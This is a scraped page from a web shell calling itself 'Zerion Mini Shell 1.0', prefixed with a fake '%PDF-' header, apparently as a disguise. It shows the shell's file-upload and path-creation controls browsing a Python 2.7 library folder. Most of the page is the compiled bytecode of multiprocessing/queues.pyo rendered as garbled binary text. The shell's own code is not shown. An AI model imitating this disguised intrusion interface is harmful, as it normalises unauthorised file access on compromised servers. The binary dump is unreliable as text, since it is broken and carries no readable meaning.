%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/multiprocessing/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/multiprocessing/queues.pyo

ó
Pêáac@s>dddgZddlZddlZddlZddlZddlZddlZddlZddlm	Z	m
Z
ddlZddlm
Z
ddlmZmZmZmZdd	lmZmZmZmZmZdd
lmZdefd„ƒYZeƒZdefd„ƒYZdefd
„ƒYZdS(tQueuetSimpleQueuet
JoinableQueueiÿÿÿÿN(tEmptytFulli(tPipe(tLocktBoundedSemaphoret	Semaphoret	Condition(tdebugtinfotFinalizetregister_after_forkt
is_exiting(tassert_spawningcBsËeZdd„Zd„Zd„Zd„Zedd„Zedd„Z	d„Z
d„Zd	„Zd
„Z
d„Zd„Zd
„Zd„Zd„Zed„ƒZed„ƒZed„ƒZRS(icCsÀ|dkrtjj}n||_tdtƒ\|_|_tƒ|_	t
jƒ|_t
jdkrud|_ntƒ|_t|ƒ|_|jƒt
jdkr¼t|tjƒndS(Nitduplextwin32(t_multiprocessingtSemLockt
SEM_VALUE_MAXt_maxsizeRtFalset_readert_writerRt_rlocktostgetpidt_opidtsystplatformtNonet_wlockRt_semt_after_forkR
R(tselftmaxsize((s2/usr/local/lib/python2.7/multiprocessing/queues.pyt__init__:s	
cCs8t|ƒ|j|j|j|j|j|j|jfS(N(RRRRRR R!R(R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pyt__getstate__Ls
cCs>|\|_|_|_|_|_|_|_|jƒdS(N(RRRRR R!RR"(R#tstate((s2/usr/local/lib/python2.7/multiprocessing/queues.pyt__setstate__Qs0cCstdƒtjtjƒƒ|_tjƒ|_d|_	d|_
t|_t|_
d|_|jj|_|jj|_|jj|_dS(NsQueue._after_fork()(R
t	threadingR	Rt	_notemptytcollectionstdequet_bufferRt_threadt_jointhreadRt_joincancelledt_closedt_closeRtsendt_sendRtrecvt_recvtpollt_poll(R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pyR"Vs
					cCs}|jj||ƒst‚n|jjƒz=|jdkrJ|jƒn|jj|ƒ|jj	ƒWd|jj
ƒXdS(N(R!tacquireRR*R.Rt
_start_threadR-tappendtnotifytrelease(R#tobjtblockttimeout((s2/usr/local/lib/python2.7/multiprocessing/queues.pytputcs	

cCs|rT|dkrT|jjƒz!|jƒ}|jjƒ|SWd|jjƒXn¯|rmtjƒ|}n|jj||ƒs‹t‚nzg|r¿|tjƒ}|j|ƒsÔt‚qÔn|jƒsÔt‚n|jƒ}|jjƒ|SWd|jjƒXdS(N(	RRR9R6R!R=ttimeRR8(R#R?R@trestdeadline((s2/usr/local/lib/python2.7/multiprocessing/queues.pytgetqs,

		
cCs|j|jjjƒS(N(RR!t_semlockt
_get_value(R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pytqsizescCs|jƒS(N(R8(R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pytempty‘scCs|jjjƒS(N(R!RFt_is_zero(R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pytfull”scCs
|jtƒS(N(RER(R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pyt
get_nowait—scCs|j|tƒS(N(RAR(R#R>((s2/usr/local/lib/python2.7/multiprocessing/queues.pyt
put_nowaitšscCsDt|_z|jjƒWd|j}|r?d|_|ƒnXdS(N(tTrueR1RtcloseR2R(R#RO((s2/usr/local/lib/python2.7/multiprocessing/queues.pyROs			cCs$tdƒ|jr |jƒndS(NsQueue.join_thread()(R
R/(R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pytjoin_thread§s
	cCs<tdƒt|_y|jjƒWntk
r7nXdS(NsQueue.cancel_join_thread()(R
RNR0R/tcanceltAttributeError(R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pytcancel_join_thread­s
	
c	Csótdƒ|jjƒtjdtjd|j|j|j|j	|j
jfddƒ|_t
|j_tdƒ|jjƒtdƒ|jsÅt|jtjtj|jƒgdd	ƒ|_nt|tj|j|jgdd
ƒ|_dS(NsQueue._start_thread()ttargettargstnametQueueFeederThreadsdoing self._thread.start()s... done self._thread.start()texitpriorityiûÿÿÿi
(R
R-tclearR)tThreadRt_feedR*R4R RROR.RNtdaemontstartR0Rt_finalize_jointweakreftrefR/t_finalize_closeR2(R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pyR:µs(

		


		cCsDtdƒ|ƒ}|dk	r6|jƒtdƒn
tdƒdS(Nsjoining queue threads... queue thread joineds... queue thread already dead(R
Rtjoin(ttwrtthread((s2/usr/local/lib/python2.7/multiprocessing/queues.pyR^Õs
	

cCsAtdƒ|jƒz|jtƒ|jƒWd|jƒXdS(Nstelling queue thread to quit(R
R9R;t	_sentinelR<R=(tbuffertnotempty((s2/usr/local/lib/python2.7/multiprocessing/queues.pyRaßs


cCs[tdƒ|j}|j}|j}|j}t}	tjdkrX|j}
|j}nd}
xöy¬|ƒz|s~|ƒnWd|ƒXynxg|ƒ}||	krºtdƒ|ƒdS|
dkrÓ||ƒq|
ƒz||ƒWd|ƒXqWWnt	k
rnXWqat
k
rR}
tƒr9td|
ƒdSddl
}|jƒqaXqaWdS(Ns$starting thread to feed data to pipeRs%feeder thread got sentinel -- exitingserror in queue thread: %siÿÿÿÿ(R
R9R=twaittpopleftReRRRt
IndexErrort	ExceptionRRt	tracebackt	print_exc(RfRgR3t	writelockROtnacquiretnreleasetnwaittbpoplefttsentineltwacquiretwreleaseR>teRl((s2/usr/local/lib/python2.7/multiprocessing/queues.pyR[ésL
						


	
N(t__name__t
__module__R%R&R(R"RNRRARERHRIRKRLRMRORPRSR:tstaticmethodR^RaR[(((s2/usr/local/lib/python2.7/multiprocessing/queues.pyR8s$			
						
			 

cBsGeZdd„Zd„Zd„Zedd„Zd„Zd„Z	RS(icCs/tj||ƒtdƒ|_tƒ|_dS(Ni(RR%Rt_unfinished_tasksR	t_cond(R#R$((s2/usr/local/lib/python2.7/multiprocessing/queues.pyR%)scCstj|ƒ|j|jfS(N(RR&R{Rz(R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pyR&.scCs.tj||d ƒ|d\|_|_dS(Niþÿÿÿ(RR(R{Rz(R#R'((s2/usr/local/lib/python2.7/multiprocessing/queues.pyR(1scCs¤|jj||ƒst‚n|jjƒ|jjƒzJ|jdkrW|jƒn|jj	|ƒ|j
jƒ|jjƒWd|jjƒ|jjƒXdS(N(
R!R9RR*R{R.RR:R-R;RzR=R<(R#R>R?R@((s2/usr/local/lib/python2.7/multiprocessing/queues.pyRA5s	




cCsi|jjƒzG|jjtƒs1tdƒ‚n|jjjƒrS|jjƒnWd|jjƒXdS(Ns!task_done() called too many times(	R{R9RzRt
ValueErrorRFRJt
notify_allR=(R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pyt	task_doneFs
cCsH|jjƒz&|jjjƒs2|jjƒnWd|jjƒXdS(N(R{R9RzRFRJRhR=(R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pyRbPs

N(
RwRxR%R&R(RNRRAR~Rb(((s2/usr/local/lib/python2.7/multiprocessing/queues.pyR's			
cBs5eZd„Zd„Zd„Zd„Zd„ZRS(cCs\tdtƒ\|_|_tƒ|_tjdkrBd|_	ntƒ|_	|j
ƒdS(NRR(RRRRRRRRRR t
_make_methods(R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pyR%^scCs|jjƒS(N(RR7(R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pyRIgscCs&t|ƒ|j|j|j|jfS(N(RRRRR (R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pyR&js
cCs,|\|_|_|_|_|jƒdS(N(RRRR R(R#R'((s2/usr/local/lib/python2.7/multiprocessing/queues.pyR(nscs«|jj‰|jj|jj‰‰‡‡‡fd†}||_|jdkrd|jj	|_
nC|jj	‰|jj|jj‰‰‡‡‡fd†}||_
dS(Ncs!ˆƒzˆƒSWdˆƒXdS(N(((tracquireR5trrelease(s2/usr/local/lib/python2.7/multiprocessing/queues.pyREuscs$ˆƒzˆ|ƒSWdˆƒXdS(N((R>(R3RtRu(s2/usr/local/lib/python2.7/multiprocessing/queues.pyRAƒs(RR5RR9R=RER RRR3RA(R#RERA((R€R5RR3RtRus2/usr/local/lib/python2.7/multiprocessing/queues.pyRrs	(RwRxR%RIR&R(R(((s2/usr/local/lib/python2.7/multiprocessing/queues.pyR\s
					(t__all__RRR)R+RBtatexitR_RRRRtRtsynchronizeRRRR	tutilR
RRR
RtforkingRtobjectReRR(((s2/usr/local/lib/python2.7/multiprocessing/queues.pyt<module>#s""(å	
5

Zerion Mini Shell 1.0